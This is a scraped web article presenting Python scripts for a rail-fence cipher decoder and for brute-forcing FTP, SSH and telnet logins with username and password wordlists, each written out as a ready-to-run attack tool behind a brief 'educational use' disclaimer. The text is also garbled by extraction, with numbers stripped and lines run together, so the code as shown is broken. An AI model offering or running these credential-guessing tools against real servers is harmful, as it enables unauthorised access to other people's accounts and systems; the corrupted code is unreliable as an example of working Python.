Python script brute force hack fence password

Source: Internet
Author: User
Today, we meet a fence code to crack, first introduce the generic script.

Method one (Generic script):

#!/usr/bin/env python #-*-CODING:GBK-*-#-*-coding:utf_-*-e = raw_input (' Please enter the string to decrypt \ n ') Elen = Len (e) field=[] fo R I in range (, Elen):       if (elen%i==):         field.append (i) to f in field:   B = elen/f   result = {x: "for x in RA Nge (b)} for   I in range (Elen):     a = i% B;     Result.update ({A:result[a] + e[i]})   d = ' for   i in range (b):     d = d + result[i]   print ' is divided into \ t ' +str (f) + ' \ t ' + ' bar, the decryption result is: ' +d

Method Two:

FTP Brute force hack script

#!/usr/bin/env python#-*-coding = utf--*-#author: @xfk #blog: @blog. Sina.com.cn/kaiyongdeng#date:@--import sys, OS, Timefrom ftplib Import Ftpdocs = "" "[*] This is written for educational purpose and pentest only.       Use it at your own risk. [*]      Author won't responsible for any damage! [*]      Toolname:ftp_bf.py [*] Coder: [*] Version:. [*] Eample of Use:python ftp_bf.py-t ftp.server.com-u usernames.txt-p passwords.txt "" If sys.platform = = ' Linux ' or sys.platform = = ' Linux ': clearing = ' clear ' else:clearing = ' cls ' Os.system (clearing) R = "\[m"; G = "\[m";  Y = "\[m" END = "\[m" def logo (): print g+ "\ n |---------------------------------------------------------------|"  Print "| |" Print "|  Blog.sina.com.cn/kaiyongdeng | " Print "| Ftp_bf.py v..  |" Print "|  FTP Brute forcing Tool | "  Print "| |"  Print "|---------------------------------------------------------------|\n" print "\ n [-]%s\n"% time.strftime ("%x") Print Docs+enddef Help(): Print r+ "[*]-t,--target ip/hostname <> our target" print "[*]-u,--usernamelist usernamelist <> Usernam Elist path "Print" [*]-p,--passwordlist passwordlist <> passwordlist path "print" [*]-h,--help help <> pri NT this Help "print" [*]example:python ftp_bf-t ftp.server.com-u username.txt-p passwords.txt "+end sys.exit () def bf_ Login (Hostname,username,password): # Sys.stdout.write ("\r[!] Checking:%s "% (P)) # Sys.stdout.flush () try:ftp = FTP (hostname) ftp.login (hostname,username, password) FTP . Retrlines (' list ') ftp.quit () print y+ "\n[!] WT,WT!!! We did it!    "Print" [+] Target: ", hostname," "print" [+] User: ", username," "print" [+] Password: ", Password," "+end Return # sys.exit () except Exception, e:pass except Keyboardinterrupt:print r+ "\n[-] Exiting ... \ n" +end sys.exit () def anon_login (hostname): Try:print g+ "\n[!" Checking for anonymous login.\n "+end FTP = FTP (hostname) ftp.login () Ftp.retrLines (' LIST ') print y+ "\n[!" WT,WT!!! Anonymous login successfuly!\n "+end ftp.quit () except Exception, E:print r+" \n[-] Anonymous login failed...\n "+en        D Passdef Main (): Logo () try:for arg in Sys.argv:if arg.lower () = = '-T ' or arg.lower () = = '--target ':        hostname = Sys.argv[int (Sys.argv[:].index (ARG)) +] Elif arg.lower () = = '-U ' or arg.lower () = = '--usernamelist ':         Usernamelist = Sys.argv[int (Sys.argv[:].index (ARG)) +] Elif arg.lower () = = '-P ' or arg.lower () = = '--passwordlist ':        Passwordlist = Sys.argv[int (Sys.argv[:].index (ARG)) +] Elif arg.lower () = = '-h ' or arg.lower () = = '--help ': Help () Elif Len (sys.argv) <=: Help () Except:print r+ "[-]cheak your Parametars input\n" +end He LP () Print g+ "[!] Bruteforcing target ... "+end Anon_login (hostname) # print" Here's OK "# print hostname try:usernames = open (Usern Amelist, "r") user = Usernames.readlines () Count = while count < Len (user): User[count] = User[count].strip () Count + = Except:print r+ "\n[-" Cheak your usernamelist path\n "+end Sys.exit () # print "Here is OK", usernamelist,passwordlist try:passwords = open (Passwordlist, "r") pwd = password S.readlines () Count = while count < Len (PWD): pwd[count] = Pwd[count].strip () Count + = Except:pri  NT r+ "\n[-" Check your passwordlist path\n "+end sys.exit () print g+" \n[+] Loaded: ", Len (user)," usernames "print" \n[+ "    Loaded: ", Len (pwd)," Passwords "print" [+] Target: ", hostname print" [+] guessing...\n "+end for U-user:for p in pwd: result = Bf_login (Hostname,u.replace ("\ n", ""), P.replace ("\ n", "")) if result! =: Print g+ "[+]attempt uaername:% S password:%s ... "% (u,p) + r+" disenable "+end else:print g+" [+]attempt uaername:%s password:%s ... "% (u,p) + Y+" E      Nable "+end if not result:print r+" \n[-]there was no username ans password enabled in the list. " print "[-]exiting...\n" +endif __name__ = = "__main__": Main () 

SSH brute force hack

#!/usr/bin/env python#-*-coding = utf--*-#author @:d engyongkai#blog@:blog.sina.com.cn/kaiyongdengimport sysimport Osimport time#from Threading Import threadtry:from Paramiko import sshclient from Paramiko import autoaddpolicyexcept I Mporterror:print g+ "You need Paramiko module.http://www.lag.net/paramiko/debian/ubuntu:sudo Apt-get install Aptit Ude:sudo aptitude Install python-paramiko\n "+end sys.exit () docs =" "[*] This is written for educational p Urpose and Pentest only.      Use it at your own risk. [*]                                     Author won't responsible for any damage! [*] Toolname:ssh_bf.py [*] AUTHOR:XFK [*] VERSION:V: [*] Example of Use:python ssh_bf.py [-     T target] [-p port] [-u userslist] [-W wordlist] [-H help] "" "If sys.platform = = ' Linux ' or sys.platform = = ' Linux ': clearing = ' clear ' else:clearing = ' cls ' Os.system (clearing) R = "\[m"; G = "\[m"; Y = "\[m" END = "\[m" def logo (): print g+ "\ n        |---------------------------------------------------------------|"                                Print "|     |"        Print "|     Blog.sina.com.cn/kaiyongdeng | "        Print "|           Ssh_bf.py v..     |"         Print "|     SSH Brute forcing Tool | "                                Print "|     |" Print "|---------------------------------------------------------------|\n" print "\ n [-]%s\n"% t Ime.ctime () print Docs+enddef help (): Print y+ "[*]-h--hostname/ip <>the target hostname or IP addres S "Print" [*]-p--port <>the SSH service port (default is) "Print" [*]-u--usernamelist <> Usernames list file "print" [*]-p--passwordlist <>passwords list file "Print" [*]-h--help <   >show Help Information "print" [*]usage:python%s [-t target] [-p port] [-u userslist] [-W wordlist] [-H help] "+end Sys.exIt () def bruteforce (Hostname,port,username,password): ' Create SSH connection to target ' ssh = sshclient () Ssh.set_missing_host_key_policy (Autoaddpolicy ()) Try:ssh.connect (hostname, port, username, password, pkey=non      E, timeout = None, Allow_agent=false, look_for_keys=false) status = ' OK ' ssh.close () except Exception, E:  Status = ' ERROR ' Pass return statusdef makelist (file): ' Make usernames and Passwords lists ' ' items = [] TRY:FD = open (file, ' R ') except Ioerror:print r+ ' unable to read file \ '%s\ '% file+end pass except Exception , E:print r+ ' unknown error ' +end pass for Line in Fd.readlines (): item = line.replace (' \ n ', '). Replace (' \ R ', ') ) Items.append (item) fd.close () return itemsdef main (): Logo () # print "Hello Wold" try:for Arg in Sys.argv:if arg.lower () = = ' t ' or arg.lower () = = '--target ': hostname = str (Sys.argv[int (SYS.A   Rgv[:].index (ARG)) +])     If arg.lower () = = '-P ' or arg.lower () = = '--port ': Port = sys.argv[int (Sys.argv[:].index (ARG)) +]            Elif arg.lower () = = '-U ' or arg.lower () = = '--userlist ': userlist = Sys.argv[int (Sys.argv[:].index (ARG)) +] Elif arg.lower () = = '-W ' or arg.lower () = = '--wordlist ': wordlist = Sys.argv[int (sys.argv[:].ind EX (ARG)) +] Elif arg.lower () = = '-h ' or arg.lower () = = '--help ': Help () Elif Len (SYS.ARGV) & lt;=: Help () Except:print r+ "[-]cheak your Parametars input\n ' +end help () print g+" \ n [!] Bruteforcing target ... \ n "+end# print" Here is OK "# print hostname,port,wordlist,userlist usernamelist = makelist    (userlist) passwordlist = makelist (wordlist) Print y+ "[*] SSH Brute force praparing."    Print "[*]%s user (s) loaded."% str (len (usernamelist)) print "[*]%s password (s) loaded."% str (len (passwordlist)) Print "[*] Brute force is starting ..." +end Try:for username in usernamelist:for password in passwordlist:print g+ "\n[+]attempt uaername:%s pas  sword:%s ... "% (username,password) +end current = Bruteforce (hostname, port, username, password) if Current = = ' ERROR ': Print r+ "[-]o*o the username:%s and password:%s is disenbabled...\n"% (Username,password) +e                  nd# Pass Else:print g+ "\n[+" ^-^ haha,we Got It!!! " print "[+] Username:%s"% username print "[+] Password:%s\n"% password+end# sys.exit (    ) except:print r+ "\n[-" There is Something wrong,pleace cheak It. " Print "[-] exitting.....\n" +end raise Print y+ "[+] done. ^-^ \ n" +end sys.exit () if __name__ = = "__main__": Main ()

telnet password brute force hack

#!usr/bin/python#telnet Brute forcer#http://www.darkcde.com#dhydr[at]gmail[dot]comimport Threading, Time, Random, SYS, telnetlibfrom copy import Copyif len (sys.argv)! =: print "Usage:./telnetbrute.py
  
   
   
    
"Sys.exit () try:users = open (sys.argv[]," R "). ReadLines () except (IOError): print" Error:check your userlist path\n " Sys.exit () try:words = open (sys.argv[], "R"). ReadLines () except (IOError): print "Error:check your wordlist path\n" sys. Exit () print "\n\t dhydr[at]gmail[dot]com Telnetbruteforcer v." print "\ t--------------------------------------------------\ n" print "[+] Server:", sys.argv[]print "[+] Users Loaded: ", Len (users) print" [+] Words Loaded: ", Len (Words)," \ n "wordlist = Copy (Words) def reloader (): for word in wordlist:words . Append (Word) def getword (): Lock = Threading. Lock () Lock.acquire () If Len (words)! =: value = random.sample (words,) words.remove (value[]) else:print "\nr Eloading wordlist-changing user\n "Reloader () value = Random.sample (words,) users.remove (users[]) lock.releas E () If Len (users) = =: Return value[][:-], users[] Else:return value[][:-], Users[][:-]class Worker (threading. Thread): def run (self): value, user = GetwoRD () Try:print "-" * print "User:", User, "Password:", value tn = telnetlib. Telnet (sys.argv[]) tn.read_until ("Login:") tn.write (user + "\ n") if Password:tn.read_until ("Pass  Word: ") tn.write (value +" \ n ") tn.write (" ls\n ") tn.write (" exit\n ") print Tn.read_all () print "\t\nlogin Successful:", Value, User Tn.close () work.join () sys.exit () except:passfor I in range (l En (words) *len (users): Work = Worker () Work.start () Time.sleep ()
   
  
 
  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.